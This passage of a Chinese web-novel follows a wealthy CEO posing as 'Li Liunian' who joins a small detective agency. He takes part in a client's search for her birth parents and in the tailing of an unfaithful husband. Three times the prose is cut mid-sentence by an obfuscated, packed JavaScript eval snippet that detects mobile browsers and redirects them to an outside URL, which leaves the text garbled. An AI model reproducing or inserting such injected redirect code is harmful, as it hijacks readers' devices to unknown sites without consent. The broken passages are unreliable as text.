“你是不知道这大楼里禁烟有多严,每次刚点上,就一定会有护士跟个鬼魂似的突然出现,抢走我的烟,还臭骂我一顿。” “我都一个星期没抽上了。” 仲光华:“没人来看你吗?” 钱润发得意一笑:“怎么可能?一堆女人来看我。老子可是很受欢迎的。” “但是她们都被医生吓唬住了,不肯帮我。” “还好今天碰到了李老板。关键时刻,还是男人靠得住啊!” 仲光华:…… 他两手插兜,语气随意:“你怎么伤得这么重?这一行很危险啊。你事务所里那个女的,会不会也像你这样——” 钱润发挥挥手:“不用担心她。她比我怂多了,从来没出过事。” 仲光华一颗心稍微放下。 钱润发:“啊,对了。我听流星说,你决定放弃了?就这样接受私生子的存在了?” 他一脸幸灾乐祸:“你看样子就是有钱人。就不担心家产被私生子分走?” 仲光华挑挑眉,呵了一声。 他随口编造:“谁说我接受他的存在了?” “那个私生子好懂得很。我自己随便查了一下,就知道了他的很多事。” “所以不用劳烦你们了。” “哦?你查到了什么?”钱润发一下子来了精神,“有没有什么刺激的料?” 仲光华装模作样,抱起双手,皱起眉头:“这是我家的隐私。” 涉及到细节,一时半会实在编不出来。 钱润发满脸失望,哼了一声,在轮椅扶手上碾灭了烟头,随意扔到地上。 仲光华忍了一下。 没忍住。 弯腰捡起烟头,扔进旁边的垃圾桶。 钱润发哈哈笑:“你怎么跟个女人似的。” 仲光华:…… 为什么我要在这种莫名其妙的地方,和这种底层渣子混在一起? ……都是因为阿芳。 听见了吗,阿芳,都是你害的。 你欠我的太多了,一辈子都还不清! 钱润发所有所思,仰头看着面前的美男子。 仲光华也若有所思,低头看着轮椅上枝桠横出的渣子。 李流年的建议其实不错。 把事务所买下来。 仲总暗自斟酌着,是哐哐砸钱呢,还是慢慢哄骗呢。 哐哐砸钱未免违反他精打细算的商人本色,慢慢哄骗……他吸了吸鼻子,即使是户外空间,他也隐约闻到了渣子身上散发出的微妙酸臭味道。 这样的相处,一分钟都嫌多。 钱润发突然一拍大腿:“有兴趣来我们事务所上班吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355452|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 仲光华当场冷笑。 去给你上班?你知道我是谁吗? 钱润发赶紧补充解释:“哎,不是正经上班啦!我知道你是公子哥,不会让你真上班的。” “我就是想请你帮忙支撑一下门面,每天去我们事务所里转一圈就行。” “具体的事情有别人去做,不用你操心。” 仲光华皱眉。 什么意思,平时也是这样的吗?你负责装点门面,那个“别人”负责做事? 钱润发:“你是不知道,我这一倒下,愁的很啊。” “我是事务所里唯一的男人,我不在,根本运转不起来啊!” 唯一的男人。 这句话撞进仲光华的耳朵里。 心狠狠一动。 * 下午五点,花二宫寻人事务所。 宋流星满头大汗冲进来,直奔冰箱,抱着冰凉的麦茶咕噜噜猛灌。 阿珍奇道:“怎么这么早就回来了?” 宋流星满脸一言难尽。 四点的时候,她被客户电话通知:“那个死鬼说一会儿要出去!肯定是要去见那个女人!你快过来!” 于是她迅速赶到客户楼下,等到目标秃头男子下楼,便紧紧跟踪起来。 秃头男子果然和陌生女人见面了,看气氛也确实是情人气氛,但是—— 阿珍一脸惊讶:“分手?” 宋流星:“对啊,他应该是说了分手。两个人都哭了,哭得好伤心。除了喝咖啡和哭,他们什么都没干,连肢体接触都没有。” 她表情微妙:“这算是浪子回头吗?” 阿珍伸出一根手指:“这世上没有浪子回头,只有狗改不了吃屎。” “那个男的肯定是察觉到什么了,所以暂时低调一阵。过一阵保准故态复萌。没准还是跟同一个女人。” “这不挺好吗,要不了多久,又有生意做了。” 宋流星:…… 来电铃声响起。 阿珍拿起手机,娇呼:“是发哥啊~” 她接起电话,一路点头,一路嗯嗯,最后道:“知道啦~我会和流星姐说的~~~” 阿珍挂了电话,转头道:“流星姐,发哥说找了个临时工过来,一会儿就到,叫你和他对接一下。” 宋流星满脸惊讶:“发哥什么时候这么有效率了?他不是最爱拖拉吗?” 阿珍耸耸肩,“也许他突然发神经吧。” 她皱起鼻子,“发哥最不靠谱了,谁知道他找了个什么人来。别什么都不懂,尽给我们帮倒忙。” 宋流星倒是一脸无所谓:“没准干几天就走了。这些年不也来来去去好多人嘛。都以为这职业有趣,刺激,结果呢,根本受不了辛苦。” 阿珍:“可是流星姐你总需要一个帮手啊!” 宋流星眯眼笑:“所以啊,我自己也在找。求人不如求己嘛。” 阿珍眼睛一亮:“哦哦?你找的什么人?是不是很厉害?” 宋流星:“是我以前去外地干活时遇到的一个同行。很机灵,也很能吃苦。他一直对自己的事务所不满意,我在跟他说跳槽的事。” 阿珍:“哦哦!那挺好的!” 话语间,茶色玻璃门被推开,一阵热气涌进来。 两人齐齐转头望过去。 11. 假千金来访 “你好——”门口的人拖长了音,“我遇到一件事情……” 阿珍立刻跳起来,几步迎过去:“你好你好,我们什么事都能帮忙的。先坐下来喝口茶,和我们的调查员聊一聊吧!” 来客在深红色皮沙发坐下。 这是一位年轻女性,约莫二十几岁,整个人十分精致。 明明大热的天,妆容却完美贴脸,长发顺滑闪亮垂在肩上,丝绸连衣裙长到脚面,光泽如流水一般,底下露出柔软的小羊皮高跟鞋。 十足一副有钱大小姐的样子。 宋流星在大小姐对面坐下,双手递过名片,“我是这里的调查员宋流星,请问你怎么称呼?” 大小姐没回答。 她把名片捏在手里,心不在焉看了一眼,扭头去问阿珍:“那个,我是听朋友说的。他说你们老板很厉害。他人呢?” 宋流星挂起完美营业笑容:“我们老板暂时出门有事,什么事可以先和我说,我可以给一些意见的。” 大小姐不安地挪动了一下脚,又偷偷回头朝门口看。 她回过头,仍是心不在焉问道:“你是前台吗?” 宋流星微笑:“我是调查员。” 我写着调查员大字的名片还在你手里捏着呢。 大小姐吃了一惊:“啊?啊。对不起,刚才没看到。” 宋流星和阿珍无奈对视一眼。 大家对“调查员”这个职业的预设,差不多就是钱润发那样:中年男子,举手投足充满江湖气,阅历中透着风霜,热情中泛着油腻。 无论哪条,都和宋流星的形象相差甚远。 无法,只能硬着头皮争取客户。 宋流星身体前倾,语带关怀:“看起来是很严重的事呢。你一定很烦恼吧。可以和我说说看的。” 大小姐迎着宋流星满心期待的眼神,咬着嘴唇,无意识揪着裙摆,丝绸面料留下深深皱痕。 然而她犹豫再三,最后还是坚持初衷:“你们老板什么时候回来?我时间充裕,等等他好了。” 宋流星:…… 怎么办?发哥目前是残废状态,根本来不了。 若是现在改口说实话,客人会不会生气走掉? 真是糟透了。 “有客人在啊。”门口响起一道男人声音。 夏日光线刺眼,站在门口的人,一时间只看得清一个轮廓。 大小姐惊喜回头:“你们老板回来了吗?” 炫目的日光和灼热的空气一起扑进来。 宋流星眯起眼。 啊,是他。 那个怎么看都很可疑的客户,李流年。 “李流年”大步走进来,在大小姐对面的沙发坐下,一副大马金刀的姿势。 他脸色严肃:“我是这里的调查员,鄙姓李,小姐怎么称呼?” 大小姐被这突如其来的气势压制住,不由自主回答道:“我姓苏。单名一个文字。” 仲光华面色不变:“苏小姐你好。请问是有什么委托要交给我们?” 苏小姐总算想起初衷,弱弱问道:“请问你是这里的老板吗?” 仲光华:“不是。这边的老板惹到了不该惹的人,重伤入院。特意请我来帮忙。” 他慢条斯理折起衬衫袖子,露出肌肉分明的小臂。 “我本来也有自己的事要做。但是兄弟开口,不能不来帮忙。” “毕竟,行走江湖,谁也不知道明天会发生什么,最重要的就是兄弟们互相照应。” 苏小姐不由自主连连点头,一脸赞同的样子。 她随即开口:“事情是这样的……” 又突然停住,咬了一下嘴唇,声音有一丝不稳:“我都不知道从哪里说起。” 仲光华淡淡笑了一下,目含鼓励:“慢慢来。从哪里开始都可以。” 宋流星瞪大眼。 这个人怎么回事,莫名其妙闯进来,坐在这里装模作样,而且竟然被他装到了! 苏小姐深吸一口气。 “我觉得我算是很幸运吧,人生一直很顺利。从小家境好成绩好,身边一直有很多朋友。厚脸皮说一句,我觉得大家多多少少都有些羡慕我吧。” 仲光华:“应该的。” 苏小姐强笑了一下。 “但是从今年年初开始,我的身体变得怪怪的。经常头晕,走路的时候,莫名其妙就会摔跤。” 她微微提起裙摆,莹白小巧的膝盖上,赫然是黑色的新鲜痂壳。 “我去医院检查,一开始根本检查不出什么,医生说可能是工作过劳导致的,叫我不要熬夜,早睡早起。” “但是我总感觉不是这么回事。因为我工作根本不忙也不累……” “直到上个月,医生给我加了神经方面的检查,最后总算有了结论。” 苏小姐微微颤抖起来,手指紧紧揪着裙摆。 “是一种神经方面的遗传病。算是慢性病吧,没有根治的办法,只能一生共存。好好治疗的话,是可以控制症状的。这方面我虽然受打击,但也很快调整好了心态。” “问题是——” 她的颤抖变得明显,牙齿咬得咯咯响。 在场其他人等着她继续说下去,却一直没等到。 宋流星试探问道:“遗传病……你父母并没有这种病是吗?” 仲光华瞥一眼宋流星,挑起眉毛。 见多识广啊,阿芳。 苏小姐眼眶一下子红了。 “医生问了一大堆问题。最后他叫我把父母带过来做基因检测,说是看看父母的基因上有没有相同的记号。” “我觉得他的口气怪怪的,好像在暗示什么,所以我,我——” 眼泪涌出眼眶。 “我就偷偷拿爸妈的头发去做了亲子关系检测。” 仲光华:“是和一方没有亲缘关系?还是两方都没有?” 苏小姐捂着脸,挤出几个字:“两方都没有。” 宋流星心下叹气。 所以是医院抱错吧。 传说中极低概率的意外,总会发生在某人头上。 仲光华:“所以苏小姐今天来这里,是想寻找生物学父母?” 听到“父母”两个字,苏小姐抖了一下。 仲光华适时安慰:“血缘关系有时候也不能决定什么。” 他理所当然的口气、四平八稳的声音似乎很有效,苏小姐眼看着平静了一点,抹掉眼泪,抬头道:“嗯。我想找他们,想知道他们是什么样的人。” 宋流星插了一句:“有没有想过和父母商量一下呢?这件事,他们迟早会知道的。” 苏小姐撇开眼神,肩膀紧绷,十根手指搅在一起。 从肢体语言上看,是明显的抵抗意味。 宋流星心想,不想让父母知道啊。 这倒是也很正常。 可是…… 她叹了一口气,“你生了病啊……还不是感冒之类的小病,只要你父母注意到你的病……” 苏小姐打断她:“我知道!我都想过了!” “我只是想,想在告诉父母之前先……先……让心里有个底。” 宋流星点头表示明白。 “是这样的,抱错孩子这种情况,一般是由本人去生产的医院直接查询。” 苏小姐:“我本人吗?直接去问就可以?” 宋流星:“你妈妈本人。” 苏小姐瞪大眼。 她身体前倾,急切道:“就不能由你们从一些特殊渠道偷偷调查吗?” 宋流星无奈:“那些渠道基本都是违法的啊。我们事务所是合规守法的单位。” 苏小姐热切的眼神立刻转向仲光华。 仲光华点一下头,深沉道:“时代不同了。很多事情,现在确实已经不能再做了。” 苏小姐失望地垂下头去。 半晌,她似乎想起了什么,抬头道:“我记得妈妈讲过,那年夏天连续暴雨,我出生那天,县城医院门口的路被淹了,好多人临时转院去了别的医院。那一天生产的,只有提前过来住院的几个人。” “我妈妈和隔壁床很聊得来,几乎成了朋友。当天她们一前一后生产,生的都是女孩儿。” “隔壁床那个产妇,她家是医院附近开肠粉店的,开了好多年,据说很有名。” “也许那家店还在呢?你们帮我去问问看!” 仲光华以眼色询问。 宋流星微微点了一下头。 仲光华接立刻郑重出声:“好,我明白了。我们这边会想办法找人的。” 苏小姐:“一定要悄悄的!” 仲光华微笑:“放心。保密永远是我们的第一要务。” 两人送客出门,站在门口的台阶上,看着苏小姐上了街对面的一台白色宝马,开车离去。 气氛突然一变。 仲光华立刻感受到了针扎一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355453|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的审视目光。 他梗着脖子,肌肉紧绷,不敢说话。 宋流星也沉默着。 她站在一步之外,两手抱胸,眉头微皱,默默审视着这个闯入者。 事到如今,虽然难以置信,但事实已经很明显。 这就是发哥所说的,“人到了你们就知道了”的那位—— 仲光华深呼吸,转过头,昂着下巴,露出英俊明亮的笑容:“钱润发跟你通过气了吧。我们偶然遇到,他求我来帮忙,我就来了。” 宋流星:“嗯,他说过了,我们正缺人,你能来帮忙,我们感激不尽。” “只是……”她拖长音,语气迟疑,“你看起来年轻有为,应该有自己的事业要忙吧。” 仲光华听到“年轻有为”,嘴角瞬间勾起,抬手一撩头发,“嗯,还行吧。最近正好比较闲,可以帮帮你们。” 宋流星:…… 仲光华:“事不宜迟,我们马上开始工作吧!” 他刷的举起笔记本:“苏小姐刚才提供的信息,我都已经记下来了!” 宋流星:…… 这做作的热情,怎么看都很可疑。 但是,随便吧,送上门的劳动力,不用白不用。也不用怕他来路不明,这么个小破事务所,没什么可图的。 她迅速想通,推开茶色玻璃门回到室内,随意一伸手:“身份证给我。” 仲光华突然警觉:“要身份证干什么?” 宋流星:“入职手续啊。” “等一下,你以为我们是什么江湖社团吗?我们是合法纳税机构啊。你虽然只是临时工,基本手续还是要有的。” 仲光华皱起眉:“临时工?什么临时工。我是来当老板的。” 宋流星:? 她瞪大眼:“你来当老板?” 现在的临时工都这么狂的吗? 仲光华两手叉腰:“钱润发跟我说的是,请我代替他的位置。” 宋流星反手拉开茶色玻璃门,微笑:“我们不需要第二个发哥。你请回吧。” 仲光华:! 人在屋檐下,不得不低头。 他挤出微笑:“临时工也行。无所谓,我只是想帮忙。” 宋流星关上门,伸手:“身份证。” 仲光华:“今天没带。下次过来给你。” “事不宜迟,我们马上开始调查工作吧!” 宋流星:“确实事不宜迟。但不是这件。” “我们有更紧要的案子。是老客户,必须给她处理满意了。” 她一伸手,接过阿珍抛过来的车钥匙,“走吧。路上跟你说。” 出了门,视线随便一扫,一眼看到停在街对面的豪车。 纯黑却闪耀光芒的库里南。 宋流星回头看了“李流年”一眼:“那不会是你的车吧?” 仲光华心念电转,滴水不漏否认:“当然不是。我只是一个普通有钱人,平时也就开开奔驰C。那种级别的车我可开不上。呵呵。” 宋流星:“也是。” 她又扫视一圈:“那你的奔驰C呢?” 仲光华随口编造:“送去保养了。我今天是打车来的。” 宋流星点点头,朝着树荫下一辆红色大众朗逸走去,拉开车门。 仲光华微微皱起眉。 这个红色……平时没注意过,原来便宜的车,连颜色都这么狗屎。 宋流星已经在驾驶座坐定,催促道:“你在看什么?快上车。” 仲光华钻进车,头差一点撞到车顶。 他好不容易坐下,望着被迫曲起来的腿,不敢置信道:“这是玩具车吗?” 宋流星也看到了他曲起的腿,不禁有些幸灾乐祸。 “这叫紧凑车型。平时没见过吧?有钱人。” 仲光华竟然真的点点头:“长见识了。” 宋流星:…… 与此同时,五公里之外的豪华写字楼里,米歇尔收到了来自老板的两条信息: 1。找一个可靠的□□人员。 2。安排一辆奔驰C。 米歇尔看着空荡荡的CEO办公室,桌上堆成山等待批示的文件,又看看手机屏幕。 仲总,你到底在外面搞什么? 但是这种问题轮不到她来问。 老板怎么说,打工人就怎么做。 米歇尔立刻开始翻检通讯录,寻找能接触□□人员的渠道。 12. 仲光华的第一次 自称李流年的新人调查员踏上了第一次调查之旅。 十字路口,红灯,红色朗逸停在斑马线前。 宋流星看着红字倒数,随口问道:“李老板,你多大?” 仲光华心脏一跳,姑娘家家的这是问什么呢! 哦,不对,是问年纪。 他正要回答,却心念电转。 ……阿芳今年是32岁。 仲光华坦然撒谎:“我今年33岁。应该比你大吧。叫李老板太生疏了,你以后叫我年哥吧。” 宋流星笑眯眯:“别看着我这样,我都35啦!我该叫你年仔才对。” 她挑挑眉毛:“你应该叫我流星姐。” 仲光华睁大眼。 好你个狡猾小娘皮,竟然当着我的面撒谎! 宋流星催促:“快点,叫一声来听听。” 仲总嘴皮紧闭,誓死不从。 姐?你想让我叫你姐?区区小女佣,竟然想爬到我的头上来! 宋流星哼了一声。 “叫我什么无所谓。但有件事得先跟你说清楚。出门在外,你就是我手下,凡事要听我指挥,知道吗?” 仲光华下巴紧绷,一字不发。 手下?我是阿芳的手下?开什么玩笑。 他一点也不适应这样强势的阿芳。 曾经的阿芳,是那样温顺,对少爷言听计从。 绿灯亮起,宋流星起步打弯,拐进岔道,在路边停下。 “不服?不服就下车。” 她脸色异常冷淡。 仲光华:! 他犹豫了几息,屈辱道:“明白了。我听你指挥。” 宋流星嘴角勾起,重新起步。 * 下午六点二十,红色朗逸停在一条狭窄的马路上。 宋流星没有下车,歪着头,看向马路对面。 对面是一栋看起来颇有年岁的六层大楼。 透过榕树繁茂,依稀可见大楼顶上立着招牌:花城人民出版社。 眼下正是下班的时候,不断有人从大门出来。 仲光华:“我们是在等人吗?” 宋流星从仪表盘上摸出一张照片,递过去。 仲光华接过来一看,是一个中年男子,不胖不瘦,略微秃顶,戴着一副金丝眼镜,五官还算端正,但绝对说不上英俊。 “我们要跟踪他?” 宋流星挑挑眉。“你挺懂的嘛。” “你仔细记住这人的长相。一定要记住了。这种人最麻烦了,长得太普通,一个错眼,就融进人群找不见了。” 仲光华:“他干什么了?” 宋流星:“干了人世间最普通的事情:出轨。” 仲光华皱眉,“所以我们这是在帮老婆抓出轨老公?” “我们不是找人事务所吗?” “我还以为是寻找失踪人口,比如失联的朋友、离家出走的孩子、糊涂走失的老人之类。” 宋流星:“你说的那些,当然也有。但平时做的最多的,还是抓出轨老公。” “这个业务不好写在招牌上,但是大家都心知肚明。” 她笑容微妙:“男人出轨这件事,实在是太常见了。感谢这些出轨男,我们这小小事务所才能一直有生意。” 仲光华感觉宋流星的眼神不太友善,于是转移话题:“你说他是老客户?” 宋流星笑了:“原来你有认真听我说话啊。” “是啊,他老婆是我们的老客户了,我已经跟踪过他六次,抓到四个小三。” 仲光华:“意思是有两个重复的?哦,这人还挺念旧。” 宋流星噗嗤笑出声,“是啊,可不是嘛。” 仲光华:“他老婆抓到他出轨六次,还不离婚?难道这是他们夫妻间的情趣?” 宋流星又笑:“他们夫妻有约定,出轨一次,丈夫向妻子赔付十万元。” 仲光华:“所以女方是期待男方出轨吗?” 宋流星:“也不能这么说吧。哪个做老婆的会希望老公出轨?” “但是既然出轨已经客观存在了,就不如抓到证据,以此拿钱。” 她突然压低声音惊呼:“他出来了!” 一个不起眼的中年男子从对面大门出来,下了阶梯,往街尾走出二十米,上了一辆白色丰田花冠。 宋流星驱车悄然跟上。 白色花冠汇入下班车流,走走停停,半小时后,进入路边的小停车场。 宋流星跟着开进去,跟着下了车,跟着向外走。 仲光华看着前面不远处的男子背影,质疑道:“我们跟踪得会不会太明显了?” 宋流星笑起来:“没关系的,他不会发现的。普通人是没有反侦察意识的。” 她想拍拍对方的肩膀,却发现太高了,姿势会很别扭,于是半途收回手。 “这不是侦探电影。不用那么紧张。” 目标人物进了一家海鲜酒楼。 宋流星笑了:“今天有口福了。” 她进了酒楼,主动找了个大厅角落的位置,点了一打扇贝,一打生蚝,一盘小龙虾,一打烤串。 从这个位置,能清晰看见坐在大厅中央大桌的目标人物。 那一桌坐了七八个年龄相仿的男子,有胖有瘦,有说有笑。 仲光华拿起一个蒜蓉扇贝,微微皱眉。 宋流星眨眨眼,心想,不至于吧。 她劝道:“你先尝尝看,好吃的。这家酒楼开了几十年了,味道不好的话早就倒闭了。” 仲光华解释道:“不是味道的问题。我只是……不习惯吃这种重油食物。” 宋流星:“油大才香啊!” 她啊了一声,“难道你在控制热量吗?” 仲光华:“当然。难道你不控制吗?” 宋流星:“我才不控制。” 她拿起一个生蚝,一口吸入,“天大地大没有好吃的大。” 仲光华皱眉:“你都这个年纪了,不怕发胖吗?” 宋流星:…… “不怕。我这个年纪,外表已经不重要了。” 仲光华眉头紧锁:“你才这个年纪,就放弃自己了吗?” 宋流星微笑:“求你闭嘴。不会说话就不要说话了。” 仲光华:…… * 目标人物酒足饭饱,和兄弟们道别,一个人慢悠悠沿着马路往前走去。 宋流星跟在后面十米远的地方,“他看起来没有打车的打算。可能下一摊就约在附近。” 她高兴地回头看仲光华:“运气好的话,下一摊就是约小三去宾馆。我们今天说不定能提前收工呢!” 仲光华拼命挠着手臂。 要不是考虑到姿势不雅,他都想原地掀起裤管猛抠小腿。 宋流星啊了一声,“被蚊子咬了?” 她不由分说拉过仲光华的手臂,凑近了仔细看。 “你可真是招蚊子的体质啊!竟然一下子被咬了这么多包,真可怜!” 那道嗓音,略微低哑,满是怜惜。 淡淡鼻息打在皮肤上,激起一片鸡皮疙瘩。 一股颤抖的欲望,从丹田深处涌出来。 仲光华猛地抽回手臂,声音变调:“你怎么回事!怎么能随便碰男人的身体!” 宋流星:? 她一脸不可置信:“你是哪来的贞节烈男?大清亡国了没通知你吗?” 她伸手从屁兜里掏出一个塑料小瓶,另一只手不由分说再次去抓仲光华。 “别想多了。你在我心里和安安差不多。保证一点邪念都没有,不会玷污你的。” 说完,她一手牢牢抓着对方手腕,另一手捏着瓶子往皮肤上涂清凉油。 仲光华惊呆。 和安安差不多? 我,和安安差不多??? 什么样的睁眼瞎,会认为我和那个巨型傻瓜儿童差不多? 仲光华呆呆的,任凭对方动作。 然后听见对方说:“好了。” 蚊子包上迅速升起一股薄荷清凉,驱走了痒意。 宋流星一手拿着瓶子,一手拿着盖子,似乎没有盖回去的意思。 “腿上有没有被咬?肯定有吧?” 说着,她就蹲下去,伸手去扯仲光华的裤管。 仲光华吓了一跳,闪电般往后退出一步:“没有!腿上没有!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355454|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宋流星蹲在地上,仰着头,眉头皱着:“别逞强了。你手上那么多包,腿上肯定也有。” 她回头看了一眼马路尽头,催促道:“快点过来,我赶紧给你涂完药,不然人要跟丢了。” 仲光华气得脑袋发昏:“你给我看清楚!我可不是你那个傻瓜儿子!” 宋流星站起身,忿忿道:“不要就不要呗,干嘛人身攻击。” 她把瓶子塞到仲光华手里:“这瓶你拿着。不过这瓶不多了,回头你自己去药店买瓶新的。” 她随即又从兜里掏出另一个瓶子,也塞过来:“还有这个你也拿着,是驱蚊的。你每次出门之前,都在手脚上喷——。” 话没说完,宋流星余光看到了什么,压着声音惊呼起来:“他要拐弯了!我们快追上去!” 仲光华拿着两个药瓶,心中百味杂陈,无法形容,只能跟着大步跑起来。 * “他进宾馆了!”宋流星惊喜低呼,“真好,我们今天可以提前收工了!” 目标人物进了宾馆大门,在前台开了房,朝电梯走去。 仲光华看看站在广告牌后面的宋流星,疑惑道:“不跟上去吗?” 宋流星:“不需要。一会儿他老婆来了,跟前台随便闹一闹,就能拿到房间号了。” 仲光华:…… 宋流星:“是不是觉得太简单了?和你想象的不一样?” “这工作就是很无聊的。不是电视剧里演的那样。” 她眯起眼睛,微笑:“想辞职的话,随时跟我说哦。” 仲光华:“不无聊。我觉得特别有意思。” 宋流星哼了一声,掏出手机,打字发消息。 仲光华:“叫人来捉奸?” 宋流星点点头。 “现在就是等小三现身了。也不知道她和原配,谁会先到呢?” 仲光华:“你怎么知道哪个是小三?” 宋流星:“这大哥口味很统一。前面四个小三全是一个类型的。这次就算是新人,我只要看见她,差不多就知道了。” 仲光华:…… 马路边冲过来一个滑板小孩。 砰!滑板撞在路边的石墩子上,小孩嗖的一下飞起来,重重摔在地上。 宋流星心下一紧,赶紧跑过去。 还没跑到,一个年轻女孩已经把小孩抱起来,急急问道:“小朋友,有没有哪里痛?” 小孩被抱着,总算反应过来发生了什么,嘴一瘪,嚎哭起来。 年轻女孩急了,连连问道:“先别哭,跟我说话,你爸爸妈妈呢?” 小孩大声嚎哭,根本没空说话。 一个胖大姐从远处跑来,一把夺过小孩,尖叫:“儿子啊!你怎么了!” 她一把抓住旁边年轻女孩的手腕,尖声质问:“是不是你打了他?” 年轻女孩傻眼,赶紧辩解:“不是我!我没有!是他自己撞到石墩子——” 胖大姐大叫起来:“就是你!我看见是你了!” 宋流星几步赶过去,帮忙解释:“大姐,真不是她。我看见了,是你儿子自己不小心撞到石墩子——” 胖大姐大叫:“好啊!你跟她是一伙的!我要报警!” 她冲着路人喊起来:“这两个女的打了我儿子!快帮我报警!” 宋流星看了一眼胖大姐的手,那双手紧紧掐住年轻女孩的手腕,都有点变形了。 她冷笑出声,指着酒店门口的监控:“你儿子是自己撞上石墩子的。那边都拍下来了。你最好立刻松手,不然等警察来了,我告你诬陷加人身伤害。” 胖大姐瞬间松开。 宋流星又指指不远处的便民诊所:“你儿子哭得好惨。你真的要在这里等警察,而不是带他去看医生?“ 围观的路人七嘴八舌议论起来。 胖大姐啐了一口,骂骂咧咧走了。 年轻女孩看着宋流星,一脸感激:“真是太谢谢你了!没有你,我都不知道怎么办了!” 宋流星这才有机会认真看她。 看清她朴素的中分直发,清秀的小圆脸,些许土气的碎花连衣裙。 啊。 不会吧。 13. 五个大婆抓小三 圆脸女孩再三道谢,然后进了酒店。 宋流星站在广告牌旁边,欲言又止。 仲光华:“她就是那个小三?” 他顿了一下,道:“看着不是坏人啊。” 宋流星瞪了他一眼,“你只会说废话吗?” 仲光华:“她还在等电梯。要不要把她叫出来?” 宋流星:“原配抓不到人,就不会付我们钱。你想白干一场吗?” 仲光华:…… 他遥遥看着宾馆大门:“她进电梯了。原配什么时候到?” 宋流星干脆整个人站到广告牌后面去,眼不见为净。 “不知道。随时会到吧。她家不远。” 仲光华:“啊,她又下来了。” 宋流星吃惊:“她又下来做什么?” 她探出头一看,圆脸女孩出了宾馆大门,往左边走出去二十米,进了一家便利店。 宋流星暗自祷告。 就趁这个空档吧。 原配啊,麻烦你就趁这个空档冲进酒店去吧。 但是原配并未出现。 而另一边,圆脸女孩已经出了便利店,拎着一个小塑料袋,蹦蹦跳跳往这边走。 走到一半,突然停住脚步,往路边的灌木丛张望。 她蹲下来,从塑料袋里掏出零食样的东西。 一只三花小猫从灌木丛里钻出来。 圆脸女孩一手抱着膝盖,一手轻轻抚摸小猫头。 宋流星心想,对,就这样,不要急,多摸一会儿。 原配还没有来。 圆脸女孩站了起来,继续往这边走。 她进了宾馆。 进了电梯。 一辆家庭版SUV停在路边,五个年龄相仿的大姐从车上跳下来。 宋流星大吃一惊,脱口而出:“不是,怎么带这么多人?之前明明都是单刀赴会啊!” 领头的大姐一眼看到宋流星,隔着老远大喊:“小宋!那对狗男女都进去了吧?” 她甚至根本等不及宋流星回答,直接气势汹汹冲进宾馆大门。 宋流星赶紧尾随上去。 她不远不近缀着,竖起耳朵听着。 大姐团从夜班经理嘴里挖出房间号的那一瞬间,她悄无声息退开,进了安全楼梯。 防火门关上的一瞬,她疯狂往楼上跑。 五个大姐站在电梯前,盯着数字变化,满脸不耐烦。 宋流星疯狂往八楼跑。 到了八楼,冲出安全楼梯,匆忙看了一眼疏散地图,继续疯狂往0821号跑。 她疯狂喘气,按响门铃。 仲光华气喘吁吁追上来。 开门的是圆脸女孩。 宋流星二话不说,抓住她的手就往外跑。 但是已经来不及了。 宋流星听到前方拐弯处传来电梯的叮咚声。接着是沉闷繁杂的脚步声。 她往前看去:最多再过三秒钟,大姐团就会出现。 又慌乱往回望:走廊尽头是墙壁,没有去路。 怎么办? 就在这一瞬间,仲光华往后退去,以极快的速度连续依次拍响走廊上所有房门。 其中一道门开了。 仲光华一个闪步过去,伸手扣住门。 宋流星不浪费一分一秒,抓着圆脸女孩就冲进那道门。 房间的主人,竟然是一男一女两个高中生。 虽然没穿校服,但是那两张过于稚嫩的面孔,丢在地上的鲜艳书包,书包里露出的课本,每一条线索都在大喊:高中生! 男高中生伸开双臂,把女生护在身后,战战兢兢大喊:“你们是什么人!出去!不然我们报警了!” 宋流星还没想好怎么解释,仲光华已经冷冷开口:“想要我打电话给你们老师家长吗?不想就闭嘴。” 两个小孩瞬间闭嘴如蚌壳。 宋流星赶紧解释:“别害怕,我们不是坏人。我们只在这里待一会,就一小会,最多十分钟,然后我们就走了。” 两个小孩互望一眼,似乎是相信了这话,放松了一点。 仲光华突然开口:“你们会用保护措施吗?” 两个小孩愣了一下。 过了两秒钟,女生先反应过来,小脸蛋一下子变得血红。 “我们不是……!”她声音颤抖,“我们只是一起写作业,不是你想的那样!” 仲光华冷笑:“来宾馆开房写作业?说谎也考虑一下逻辑吧。” 男生也辩解起来:“我们真的不是!” 然而,他在对面成年男人的无声威压之下,渐渐变得心虚起来。 宋流星趴在猫眼上,看着五个大姐拎着中年男子骂骂咧咧的走了。 她呼出一口气,回头招呼两个人:“我们可以走了。” 仲光华回头盯住男高中生:“你,少用下半身思考,多用用脑子。” 他伸出两根手指,指指自己的眼睛,又指指对方:“我就住在附近,会盯着你的。” 